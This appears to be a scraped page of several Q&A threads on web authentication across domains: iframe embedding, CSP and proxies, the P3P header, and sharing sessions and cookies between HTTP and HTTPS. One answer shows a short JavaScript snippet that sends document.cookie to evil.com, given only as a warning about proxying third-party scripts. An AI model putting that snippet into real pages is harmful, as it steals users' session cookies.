I am doing an ASP.NET website for a client, who wants to make their reports page available via IFRAME on other "reseller" websites.
The reseller websites are providing the same service with different branding.
I need to avoid, where I can, requiring them to implement any code on their webserver to enable this - hence using iframes.
A user would log in to the reseller website, load a page which contains an iframe, which in turn loads the report at the primary site.
As parameters, we would send the reseller id, and their username.
We can use SSL server certificates, but not any federated login (like OpenId) - a business choice of the client.
The question is, how does the primary site verify that the report page really is being requested by the user who loaded the page from the reseller?
In other words, how to authenticate the user across domains, without requiring the reseller to implement code..
Any thoughts would be much appreciated!
Your login form can use some javascript to post the login form to a hidden iframe (you can't use an XMLHTTPRequest because of cross domain security concerns) for each domain that you require a login for.
Be sure to redirect your iframe back to the original domain or you won't be able to fetch the login status out of the iframe due to cross-domain security.
The final trick for IE support is to flip the evil bit and add
P3P: CP="CAO PSA OUR"
to your HTTP response headers. Which tells the browser "I am not going to do anything bad, honest".
http://support.microsoft.com/kb/323752
http://www.w3.org/P3P/
I see no satisfactory way to do this without implementing any code on the reseller site.
Instead, I would require them to send an HTTPS request from the reseller webserver to the primary webserver, passing a unique secret key to identify themselves, as well as the username of their logged-on user.
Once verified on the primary site, this key would then serve as authentication for the reseller, and by extention, their logged-on user.
The response of this request would contain a html fragment string, which the reseller can inject into any page.
This fragment would contain an iframe, which, in turn, would load the report for the logged-on user directly from the primary site, using their username.
This report content would contain a reference to a reseller-specific stylesheet.
With this approach I would say HTTPS is not required in the browser, since both the reseller and their user is authenticated, and if that process happened over HTTPS, we can assume there is no eavesdropper.
In the case where the secret key or the user password got compromised, HTTPS from the browser would make no difference anyway.
I might be missing something, but if the client is authenticated against your server, then it will still be authenticated if you view it through an iframe.
For example, create an HTML page on your server with an iframe to gmail. As long as you're authenticated against gmail in your browser you will see your inbox in that page...
Related
We have a requirement to load an internally hosted angular UI from within an external partners secured website. We're using an OIDC auth flow calling to an internal IDP server to retrieve/validate the user tokens.
The problem is we are not able to make custom modifications to the internal IDP server's rules in order to allow the external partners domain as being valid for calling to from within an iframe (Content Security Policy).
This causes us to get an error related to invalid Content Security Policy as the external partners domain is not within the allowed domains list of the CSP. If we serve this UI in an iframe from within an internal company domain (allowed in the CSP) it works just fine.
Assuming we have to load our internal UI from within the partners website inline (iframe or other), and authenticate our users using an oauth pattern are there any viable solutions for this problem?
I understand the CSP and x-frame-option headers are set this way to avoid click-jacking security risks, so not sure what is being asked of us is possible while remaining secure. Initial thought is to possibly put a proxy service between the partners website and our UI and the proxy service will handle the authentication...bypassing the CSP rules...but does not necessarily seem secure, and not sure how to implement that even if so. Any thoughts or ideas would be welcomed. Thanks!
Proxying third-party scripts is a bad idea. Consider the script:
var Img = document.createElement("img");
Img.setAttribute('src', 'http://evil.com?cookie=' + document.cookie);
document.body.appendChild(Img);
Loaded from someone else's domain, the script will not have access to the document.cookie. But after proxying, the browser counts that the script is loaded from your domain, and will send cookies to the evil.com site.
Allowing your site to be embedded into iframe open doors to:
clickjacking: by placing an invisible frame, it allows you to perform actions on behalf of a visitor if he is logged at third-party site.
Phishing: in the case of an iframe, the user does not see the real URL in the address bar. Therefore, an attacker can load an iframe from his domain that looks like a third-party authorization site. Since visitor is not able to see this, he enter login/password at the attackers site.
third-party scripts access to some sensitive user's data such as: geolocation, camera, microphone, speaker, mobile device sensors (accelerometer, gyroscope, ambient-light-sensor, magnetometer, vibrate) etc. See Feature Policy / Permissions Policy how to restrict these.
For using your IDP server for autentificating user on third-party site, you MUST do redirect to your domain, autentificate user on your domainm and redirect user back to the third-party site. To keep auth a JWT token can be used or third-party site can set its own auth cookie. The referrer is used to return back to the partner's page where auth was started. Google's OAuth2 service works in this way.
It is not known what private/financial data your web application is dealing with, but it is unlikely that you want to be responsible for the actions of third parties by making a hole in the security system for them.
I want to restrict my intranet users in such a way that I provide them userId & password of websites (such as LinkedIn, Facebook, Gmail, Twitter etc) only these logins should be allowed.
If any user tries to use another userID then it should block all such users to access above mentioned websites.
I am not sure how this should be achieved. But here I am trying to develop a web application using Asp.net that will Log-In to websites with default credentials & save the session cookies in browser then user will be redirected to relative website, which will have user session in cookies. Also I'll block Login page of websites for rest of users/systems on CC Proxy.
Please guide me in right direction.
Thanks
I think DNS will be a bad option for you, it will be easy to bypass and you could not redirect specific web page.
I think the answer to your question will be proxy, with proxy you will be able to supervise thier web actions completely.
They will still be able to bypass it but I believe it will be hard enough
I am building a website with user accounts. I want the user's name to be displayed at the top, along with the ability to check their inbox with a dropdown that will be updated and refreshed by AJAX. For a user to log in, they will enter their username and password in another dropdown box powered by AJAX. I will also have a specific page, which could use SSL, which sells items through PayPal and BitPay.
I want to secure this with SSL. However, it's not feasible to make all the pages use SSL because the CDN I plan to use doesn't support SSL at the price I am willing to pay and because I wish to allow users to embed images and YouTube videos, which would be linking to third-party HTTP resources.
So my question: is it possible to allow users to log in through AJAX securely over SSL? (The AJAX request would be secured, but not the page that shows the log in form.) It must then be able to display their account name and edit their account settings over an unsecure connection? How would cookies work with this?
You might get better answers at security.stackexchange.com, but in short: You might have a cookie shared between http and https. But then you should not associate any information to the cookie, which might be abused by an attacker, because the cookie can be sniffed when using http instead of https and then reused by the attacker to hijack the session (and those the identity). So for serious stuff you should have another and different secure (e.g. https-only) cookie. A good source of information is also OWASP, e.g. https://www.owasp.org/index.php/Session_Management_Cheat_Sheet
My web application will be launched through existing thick client applications. When launched, an HTTP POST request will be generated including information like the userID and additional context information (basically stuff like the target user's name, birthday, etc.).
My plan for authentication is for there to be a look-up table in the database. If the username is already there, automatically login the user, but if there is no entry in the database, redirect the user to an initial login page which will be used to create that database entry.
My question is how to secure this against MITM and other security holes. How can the request generated through the thick client be on an SSL connection? Doesn't an SSL connection have to be authenticated with the username (and password) first? And if so, will the additional context information be publicly exposed until the user is logged in?
Sorry if this is a basic security 101 question. References on where to read up on security basics would also be greatly appreciated.
No, SSL does not require any username or password to work. SSL only encrypts the data between the client and the server. You could serve an entirely anonymously accessed site via SSL. Most of the time, people equate SSL and logins because you want to encrypt your login credentials and any of the information accessed using those credentials.
If you want to use your method, simply post the User ID and other information to your SSL site. The post and any response will be encrypted. If using a web page, it would look something like this.
<form method="POST" action="https://mysite.com/login">
Generating from an application, just use the https:// when creating your URL to post to.
Regarding any other security concerns, we do not have enough information to speak about the overall security of your planned deployment, but the above should take care of your initial questions about SSL and encryption.
I would like to create web application with admin/checkout sections being secured. Assuming I have SSL set up for subdomain.mydomain.com I would like to make sure that all that top-secret stuff ;) like checkout pages and admin section is transferred securely. Would it be ok to structure my application as below?
subdomain.mydomain.com
adminSectionFolder
adminPage1.php
adminPage2.php
checkoutPagesFolder
checkoutPage1.php
checkoutPage2.php
checkoutPage3.php
homepage.php
loginPage.php
someOtherPage.php
someNonSecureFolder
nonSecurePage1.php
nonSecurePage2.php
nonSecurePage3.php
imagesFolder
image1.jpg
image2.jpg
image3.jpg
Users would access my web application via http as there is no need for SSL for homepage and similar. Checkout/admin pages would have to be accessed via https though (that I would ensure via .htaccess redirects). I would also like to have login form on every page of the site, including non-secure pages. Now my questions are:
if I have form on non-secure page e.g http://subdomain.mydomain.com/homepage.php and that form sends data to https://subdomain.mydomain.com/loginPage.php, is data being send encrypted as if it were sent from https://subdomain.mydomain.com/homepage.php? I do realize users will not see padlock, but browser still should encrypt it, is it right?
EDIT: my apologies.. above in bold I originally typed http but meant https, my bad
2.If on secure page loginPage.php (or any other accessed via https for that instance) I created session, session ID would be assigned, and in case of my web app. something like username of the logged in user. Would I be able to access these session variable from http://subdomain.mydomain.com/homepage.php to for example display greeting message? If session ID is stored in cookies then it would be trouble I assume, but could someone clarify how it should be done? It seems important to have username and password send over SSL.
3.Related to above question I think.. would it actually make any sense to have login secured via SSL so usenrame/password would be transferred securely, and then session ID being transferred with no SSL? I mean wouldnt it be the same really if someone caught username and password being transferred, or caught session ID? Please let me know if I make sense here cause it feels like I'm missing something important.
EDIT: I came up with idea but again please let me know if that would work. Having above, so assuming that sharing session between http and https is as secure as login in user via plain http (not https), I guess on all non secure pages, like homepage etc. I could check if user is already logged in, and if so from php redirect to https version of same page. So user fills in login form from homepage.php, over ssl details are send to backend so probably https://.../homepage.php. Trying to access http://.../someOtherPage.php script would always check if session is created and if so redirect user to https version of this page so https://.../someOtherPage.php. Would that work?
4.To avoid browser popping message "this page contains non secure items..." my links to css, images and all assets, e.g. in case of http://subdomain.mydomain.com/checkoutPage1.php should be absolute so "/images/image1.jpg" or relative so "../images/image1.jpg"? I guess one of those would have to work :)
wow that's long post, thanks for your patience if you got that far and any answers :) oh yeh and I use php/apache on shared hosting
If the SSL termination is on the webserver itself, then you'll probably need to configure seperate document roots for the secure and non-secure parts - while you could specify that these both reference the same physical directory, you're going to get tied in knots switching between the parts. Similarly if your SSL termination is before the webserver you've got no systematic separation of the secure and non-secure parts.
Its a lot tidier to separate out the secure and non-secure parts into seperate trees - note that if you have non-SSL content on a secure page, the users will get warning messages.
Regards your specific questions
NO - whether data is encrypted depends on where it is GOING TO, not where it is coming from
YES - but only if you DO NOT set the secure_only cookie flag - note that if you follow my recommendations above, you also need to ensure that the cookie path is set to '/'
the page which processes the username and password MUST be secure. If not then you are exposing your clients authentication details (most people use the same password for all the sites they visit) and anyone running a network sniffer or proxy would have access.
Your EDIT left me a bit confused. SSL is computationally expensive and slow - so you want to minimise its use - but you need to balance this with your users perception of security - don't keep switching from SSL to non-SSL, and although its perfectly secure for users to enter their details on a page served up by non-SSL which sends to a SSL page, the users may not understand this distinction.
See the first part of my answer above.
C.